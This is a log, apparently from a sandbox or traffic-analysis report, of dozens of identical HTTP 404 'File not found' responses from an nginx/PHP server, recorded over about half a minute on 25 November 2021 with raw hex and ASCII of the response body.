Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:27 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:28 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:28 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:28 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:32 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:32 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:33 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:49:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 25 Nov 2021 09:50:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeVary: Accept-EncodingX-Powered-By: PHP/7.0.33X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
